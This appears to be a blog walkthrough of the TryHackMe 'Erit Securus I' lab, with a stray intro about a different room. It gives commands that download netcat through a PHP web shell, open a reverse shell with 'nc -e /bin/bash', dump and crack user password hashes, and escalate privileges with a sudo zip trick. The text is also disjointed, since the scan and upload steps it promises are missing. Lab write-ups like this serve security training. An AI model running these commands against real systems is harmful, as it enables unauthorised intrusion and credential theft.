    TryHackMe Erit Securus I

     

    The platform develops virtual classrooms that not only allow users to deploy training environments with the click of a button, but also reinforce learning by adding a question-answer approach. Its a comfortable experience to learn using pre-designed courses which include virtual machines (VM) hosted in the cloud.

    TryHackMe Erit Securus I walkthrough


    While using a question-answer model does make learning easier, TryHackMe allows users to create their own virtual classrooms to teach particular topics enabling them to become teachers. This not only provides other users with rich and varied content, but also helps creators reinforce their understanding of fundamental concepts.
      


    It seems like our machine got hacked by an anonymous threat actor. However, we are lucky to have a .pcap file from the attack. Can you determine what happened? Download the .pcap file and use Wireshark to view it.  TryHackMe h4cked walkthrough

     


    Let's Start 

     

    we can run a simple nmap scan to look for open ports and services -

    This can then be used to upload a netcat reverse shell (as there is no netcat on the target machine). First, we will need to create a symbolic link to netcat on our local machine to the current directory on the target. Run this command via a local terminal:


    ln -s $(which nc) .

     



      
  ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/erit]
└─$ ln -s $(which nc) .
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/erit]
└─$ ls                 
48296.py  exploit.py  nc  session.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/erit]
└─$



     

    A simple web server can then be started locally in order to serve the file to the target:




    TryHackMe Erit Securus I





    Using the PHP shell we are able to download netcat to the target via the browser:


    http://10.10.108.118/files/cmd.php?cmd=wget http://<local-IP>:8080/nc




    TryHackMe Erit Securus I




    The file will be transferred to the same directory as the PHP shell. We can make the uploaded netcat file executable by browsing to:


    http://10.10.108.118/files/cmd.php?cmd=chmod 755 nc





    TryHackMe Erit Securus I




    Next, we need to start a netcat listener on our local machine:-


    nc -nvlp 1234

     



    TryHackMe Erit Securus I




     

    Finally, we can trigger this connection via the browser to get our reverse shell:



    http://10.10.108.118/files/cmd.php?cmd=./nc -e /bin/bash <local-IP> 1234



     

    TryHackMe Erit Securus I





    Our reverse shell can then be upgraded to a fully interactive TTY shell by running:


    python -c 'import pty;pty.spawn("/bin/bash")'






    TryHackMe Erit Securus I

    Privilege Escalation


    In the /app/database directory you will find the database file: bolt.db


    cd ../../app/database
    ls




      
  www-data@Erit:/var/www/html/public/files$ cd ../../app/database
cd ../../app/database
www-data@Erit:/var/www/html/app/database$ pwd
pwd
/var/www/html/app/database
www-data@Erit:/var/www/html/app/database$ ls
ls
bolt.db
www-data@Erit:/var/www/html/app/database$ 
     


     

     

    The type of database can be determined by running: file bolt.db





      www-data@Erit:/var/www/html/app/database$ file bolt.db
file bolt.db
bolt.db: SQLite 3.x database, last written using SQLite version 3020001
www-data@Erit:/var/www/html/app/database$




    We can access this SQLite 3.x database and run the .tables command to display the database tables:




      www-data@Erit:/var/www/html/app/database$ sqlite3 bolt.db
sqlite3 bolt.db
SQLite version 3.16.2 2017-01-06 16:32:41
Enter ".help" for usage hints.

sqlite> .tables
.tables
bolt_authtoken          bolt_field_value        bolt_pages            
bolt_blocks             bolt_homepage           bolt_relations        
bolt_content_changelog  bolt_log                bolt_showcases        
bolt_cron               bolt_log_change         bolt_taxonomy         
bolt_entries            bolt_log_system         bolt_users            
sqlite> www.kumaratuljaiswal.in







    The bolt_users table looks interesting, let's have a look at that:

    SELECT * FROM bolt_users;



      
  
sqlite> SELECT * FROM bolt_users;   
SELECT * FROM bolt_users;
1|admin|$2y$10$0Z2xl2fs/9xe2HVEkqDZZ.COwXKfHtxsyT5qdHXuJB3XgR7TzeZQi||0|a@a.com|2021-05-26 05:47:53|192.168.100.1|[]|1|||||["root","everyone"]
2|wildone|$2y$10$ZZqbTKKlgDnCMvGD2M0SxeTS3GPSCljXWtd172lI2zj3p6bjOCGq.|Wile E Coyote|0|wild@one.com|2020-04-25 16:03:44|192.168.100.1|[]|1|||||["editor"]
sqlite> www.kumaratuljaiswal.in






    Two users are listed - admin and wildone (Wile E Coyote). There is also an IP address of 192.168.100.1, which might come in handy later.

    We're already admin, so let's try and crack the hash of wildone using JohnTheRipper and the rockyou wordlist.

    First, copy the hash to a file and then run: 

     




    TryHackMe Erit Securus I




     

    we got it -


    Once this completes, run the following to view the password, If the password is not visible


    john --show hash.txt

    This allows us to switch user to wileec and obtain the first flag:





    TryHackMe Erit Securus I





    Then, quit in sqlite -

    .quit

    change the user su wileec with password : snickers

    This allows us to switch user to wileec and obtain the first flag:




      
sqlite> .quit
.quit
www-data@Erit:/var/www/html/app/database$ su wileec
su wileec
Password: snickers    

$ whoami

$ cat flag1.txt

    Pivoting


    It appears that wileec also has an ssh private key:

     

    ls -la
    cd .ssh     




      $ ls -la
ls -la
total 28
drwxr-xr-x 4 wileec wileec 4096 Apr 25  2020 .

-rw-r--r-- 1 wileec wileec  222 Apr 25  2020 known_hosts
$ www.kumaratuljaiswal.in



     

    We can use this to try connecting using the internal IP address we found in the bolt_users table of the SQLite database:




    TryHackMe Erit Securus I




    Great, it worked... and, even better, we have some sudo privileges:

    sudo -l

     

    Privilege Escalation #2


    We can use the /usr/bin/zip binary to elevate our privileges once again to become user jsmith:



    TF=$(mktemp -u)
    sudo -u jsmith zip $TF /etc/hosts -T -TT 'sh #'



     



      $ sudo -l
sudo -l
Matching Defaults entries for wileec on Securus:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User wileec may run the following commands on Securus:
    (jsmith) NOPASSWD: /usr/bin/zip
$ 

$ TF=$(mktemp -u)
TF=$(mktemp -u)
$ sudo -u jsmith zip $TF /etc/hosts -T -TT 'sh #'
sudo -u jsmith zip $TF /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 32%)
$



    Awesome! We are now jsmith.

    Once again, we can upgrade to a fully interactive shell:

    python -c 'import pty;pty.spawn("/bin/bash")'




      
$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
